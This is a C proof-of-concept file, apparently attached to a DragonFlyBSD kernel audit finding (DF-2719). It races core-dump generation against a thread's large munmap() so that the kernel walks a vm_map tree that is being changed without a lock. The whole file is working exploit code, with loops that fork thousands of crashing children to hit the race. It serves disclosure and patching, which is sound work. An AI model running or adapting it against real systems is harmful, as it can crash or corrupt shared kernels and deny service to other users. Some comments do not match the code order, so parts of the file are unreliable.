DragonFlyBSD Kernel Audit
DF-2719 / racedump.c
← back to finding ↓ download raw
/*
 * DF-2719 PoC: race coredump's unlocked vm_map RB_FOREACH iteration
 * (sys/kern/imgact_elf.c:1199 each_segment) against a sibling LWP that is
 * still inside a long munmap() when proc_stop() pre-counts it as stopped
 * (sys/kern/kern_sig.c:1598-1612: LSSLEEP/LSSRUN lwps "will stop before
 * returning to userspace", so sigexit's proc_stopwait() returns while the
 * lwp keeps mutating the map).
 *
 * child layout:
 *   - inherits NMAPS PROT_READ MAP_NOCORE file mappings (many vm_map entries)
 *   - worker thread: ONE munmap() of the whole range -> unlinks NMAPS entries
 *     inside a single syscall (tens of ms of rb-tree mutation)
 *   - main thread: usleep(DELAY) then *(int*)0=0 -> SIGSEGV -> coredump
 *     -> each_segment iterates the same tree (passes 2 & 4 include NOCORE
 *     entries: elf_puttextvp uses writable=0) with NO vm_map lock held.
 *
 * run: ./racedump [iterations] [nmaps] ; sweep DELAY around munmap duration
 */
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/param.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BASE ((char *)0x10000000UL)
static char *g_base = BASE;
static size_t g_maps;
static volatile unsigned long g_delay_us = 300;

static void *worker(void *arg)
{
	/* one long munmap: NMAPS entries unlinked in a single syscall */
	munmap(g_base, g_maps * PAGE_SIZE);
	return NULL;
}

static void child_main(void)
{
	pthread_t th;
	usleep(g_delay_us);           /* let worker get into munmap() */
	pthread_create(&th, NULL, worker, NULL);
	usleep(200);                  /* worker now inside munmap() */
	*(volatile int *)0 = 0;       /* SIGSEGV -> coredump */
	_exit(0);
}

int main(int argc, char **argv)
{
	unsigned long iters = argc > 1 ? strtoul(argv[1], NULL, 0) : 500;
	size_t nmaps = argc > 2 ? strtoul(argv[2], NULL, 0) : 20000;
	unsigned long d0 = argc > 3 ? strtoul(argv[3], NULL, 0) : 0;
	unsigned long d1 = argc > 4 ? strtoul(argv[4], NULL, 0) : 3000;
	unsigned long i;
	int fd;
	char path[64];

	g_maps = nmaps;
	snprintf(path, sizeof(path), "/tmp/racedata.%d", getpid());
	fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0600);
	if (fd < 0) { perror("open"); return 1; }
	if (ftruncate(fd, 64 * 1024) < 0) { perror("ftruncate"); return 1; }

	/* parent builds the many-entry map once; fork() copies it per child */
	for (i = 0; i < nmaps; i++) {
		void *p = mmap(g_base + i * PAGE_SIZE, PAGE_SIZE, PROT_READ,
			       MAP_SHARED | MAP_NOCORE | MAP_FIXED, fd, 0);
		if (p == MAP_FAILED) { perror("mmap"); return 1; }
	}
	fprintf(stderr, "parent: %zu mappings at %p\n", nmaps, g_base);

	signal(SIGCHLD, SIG_IGN);
	chdir("/tmp");
	for (i = 0; i < iters; i++) {
		pid_t pid;
		g_delay_us = d0 + (d1 - d0) * (i % 40) / 40;   /* sweep */
		pid = fork();
		if (pid == 0) {
			struct rlimit rl;
			rl.rlim_cur = rl.rlim_max = 64 * 1024 * 1024;
			setrlimit(RLIMIT_CORE, &rl);
			child_main();
			_exit(0);
		}
		usleep(1500);               /* child lifecycle ~1.5-3ms+dump */
		if ((i % 50) == 0)
			fprintf(stderr, "iter %lu delay %lu\n", i, g_delay_us);
	}
	unlink(path);
	return 0;
}